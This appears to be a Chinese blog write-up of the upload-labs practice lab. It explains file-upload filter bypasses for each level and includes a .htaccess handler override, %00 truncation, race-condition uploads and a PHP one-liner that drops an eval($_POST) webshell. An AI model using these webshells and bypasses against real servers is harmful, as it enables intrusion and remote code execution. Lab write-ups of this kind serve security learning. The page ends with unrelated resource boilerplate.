upload-labs-题

1.本题是前端检查,只要关闭f12中上设置里的禁止javascript即可成功上传我们的一句话木马。在蚁剑中即可连接到我们上传的一句话木马。

2.本题是MIME验证,改变抓包内的格式即可,

使用bp抓包,修改上传的PHP的content-type为image/png
在这里插入图片描述
在这里插入图片描述

3.本题是黑名单验证,先修改phpstudy里面的PHP版本,下载php5.4.45版本,上传时把php改为php5即可成功上传.

4.

发现使用上面上传的php5或者其他类型的文件,都以失败告终。
但是发下有一个文件是没有过滤,也是我们上传过程中经常用到的.htaccess

.

首先,我们先写入一个.htaccess的文件,文件内容如下所示:

<FilesMatch "pzz.png">
    SetHandler application/x-httpd-php
</FilesMatch>

在上述配置中,FilesMatch表示匹配pzz.png的文件,当该文件名匹配成狗后,SetHandler表示将该文件作为PHP类型的文件来进行处置。
然后上传该文件:

之后,我们上传一个pzz.png的文件,如下所示:

最后,我们就可以尝试访问该图片了,结果如下所示:

5.

这里的提示和上一关的一样。

查看提示发现:

有个php文件,于是我想到了.user.ini文件,这个文件也同样是包含,是吧一个文件放在某种文件里解析。如果我上传一个图片马。而后使用文件了的php文件解析,那么这个木马就会生效并能让我成功连接。

.user.ini内容:

而后上传shell.jpg,最后连接readme.php文件即可。

6.直接把php里面最后一个p改成大写字母即可成功上传。

7.抓包网页在文件名后面加上一个空格即可成功上传。

8.转包网页在文件名后面加上一个点即可上传成功。

9.抓包加入::%DATA即可。

10.抓包把点 空格 大小写都删除,在发送即可上传成功。

11.这个比较灵活,和电脑玩脑筋,直接改一个电脑很迷惑的,如图12.使用PHP5.2.17+Apache环境
这一关白名单,最终文件的存放位置是以拼接的方式,可以使用%00截断,但需要php版本<5.3.4,并且magic_quotes_gpc关闭。

原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。


13.本人这里使用的是PHP5.2.17+Apache环境
这一关白名单,文件上传路径拼接生成,而且使用了post发送的数据进行拼接,我们可以控制post数据进行0x00截断绕过白名单

补充知识:POST不会对里面的数据自动解码,需要在Hex中修改。

上传zoe.php用BP抓包修改参数,然后修改后的结果为如下图二

在../upload/ 路径下加上zoe.php+ +号是为了方便后面修改Hex

+号的Hex是2b,这里我们要把它改为00(效果如下图二)


然后就可以放包了,复制图片地址并用蚁剑进行连接
但是这里要注意一下,蚁剑连接填的URL地址要把图下面的蓝色部分删了(即php后面部分要删掉)

14.这一关会读取判断上传文件的前两个字节,判断上传文件类型,并且后端会根据判断得到的文件类型重命名上传文件
使用 图片马 + 文件包含 绕过

题目中2.有文件包,使用这个。

15.通过使用getimagesize()检查是否为图片文件,所以还是可以用第十四关的图片马绕过,并使用文件包含漏洞解析图片马

构造的URL为include.php?file=upload/8620210320174003.png

如果出现如下图情况代表图片马是成功解析了
在这里插入图片描述
然后用蚁剑连接在这里插入图片描述
在这里插入图片描述

16.

还是可以用第十四关的图片马绕过,并使用文件包含漏洞解析图片马
在这里插入图片描述
构造的URL为include.php?file=upload/ 8620210320175536.png

如果出现如下图情况代表图片马是成功解析了
在这里插入图片描述
然后用蚁剑连接
在这里插入图片描述
在这里插入图片描述

17.这一关对上传图片进行了判断了后缀名content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接。

18.线索就是在源码里面

从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。

这么看来如果我们还是上传一个图片马的话,网站依旧存在文件包含漏洞我们还是可以进行利用。但是如果没有文件包含漏洞的话,我们就只能上传一个php木马来解析运行了。

那还怎么搞?上传上去就被删除了,我还怎么去访问啊。

不慌不慌,要知道代码执行的过程是需要耗费时间的。如果我们能在上传的一句话被删除之前访问不就成了。这个也就叫做条件竞争上传绕过。

我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,会有一瞬间的访问成功。

19.需要代码审计。那么再来看看源码吧。

从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。

这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。

这里还是将前一关的代码插入图片作出图片马。然后通过文件包含去访问该图片马。

<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?>
1
第一步:生成图片马

第二步:上传图片马,用BP拦截(基本上在BP上的操作跟上面第18关没区别)

点击Clear$

接着设置无限发送空的Payloads,来让它一直上传该文件

最后建议这里把线程设置高一点

然后我们要修改一下python脚本,不能再用回第18关的脚本了,这里脚本要修改为文件包含来访问(由于隐私原因,IP地址不能放出来,下面的脚本的url地址XXX都是代表IP地址)

import requests
url = "http://xxx.xxx.xxx.xx/upload-labs/include.php?file=upload/pass19.png"
while True:
    html = requests.get(url)
    if ( 'Warning'  not in  str(html.text)):
        print('ok')
        break

接下来我们可以用BP进行攻击,并同时运行python脚本

当出现OK说明访问到了该文件,那么Tony.php应该也创建成功了,用蚁剑连一下试试。

这里注意一下蚁剑连接的URL为http://xxx.xxx.xxx.xxx/upload-labs/Tony.php

其实这题同样的这也属于条件竞争的一种,只不过文件的形式不同而已。但是这题存在一个概率问题,比如我这次很短时间可以跑出来,但是下一次再同样做一次的话可能要长一点时间,反正我第一次打这关我当时BP跑了5W都没跑出来,而这次在30个包之后就可以出来了,不过还是那句,建议BP的线程能设高一点,效果可能会更好。

20.

没有对上传的文件做判断,只对用户输入的文件名做判断
后缀名黑名单
上传的文件名用户可控
黑名单用于用户输入的文件后缀名进行判断
move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的 /.

先准备PHP一句话木马,并把后缀名改为PNG再上传

然后用BP来抓包,效果如下图,就是在upload-19.jpg改为upload-19.php/.

修改完直接放包,然后复制图片地址,用蚁剑连接
21.

查看源码:

 这里会进行一个拼接

 而在上面,进行了一个切割。

使用bp抓包

 这里我直接把参数分成数组,而后在经过拼接得到upload-20.php.

最后使用蚁剑连接。


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
提供的源码资源涵盖了安卓应用、小程序、Python应用和Java应用等多个领域,每个领域都包含了丰富的实例和项目。这些源码都是基于各自平台的最新技术和标准编写,确保了在对应环境下能够无缝运行。同时,源码中配备了详细的注释和文档,帮助用户快速理解代码结构和实现逻辑。 适用人群: 这些源码资源特别适合大学生群体。无论你是计算机相关专业的学生,还是对其他领域编程感兴趣的学生,这些资源都能为你提供宝贵的学习和实践机会。通过学习和运行这些源码,你可以掌握各平台开发的基础知识,提升编程能力和项目实战经验。 使用场景及目标: 在学习阶段,你可以利用这些源码资源进行课程实践、课外项目或毕业设计。通过分析和运行源码,你将深入了解各平台开发的技术细节和最佳实践,逐步培养起自己的项目开发和问解决能力。此外,在求职或创业过程中,具备跨平台开发能力的大学生将更具竞争力。 其他说明: 为了确保源码资源的可运行性和易用性,特别注意了以下几点:首先,每份源码都提供了详细的运行环境和依赖说明,确保用户能够轻松搭建起开发环境;其次,源码中的注释和文档都非常完善,方便用户快速上手和理解代码;最后,我会定期更新这些源码资源,以适应各平台技术的最新发展和市场需求。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值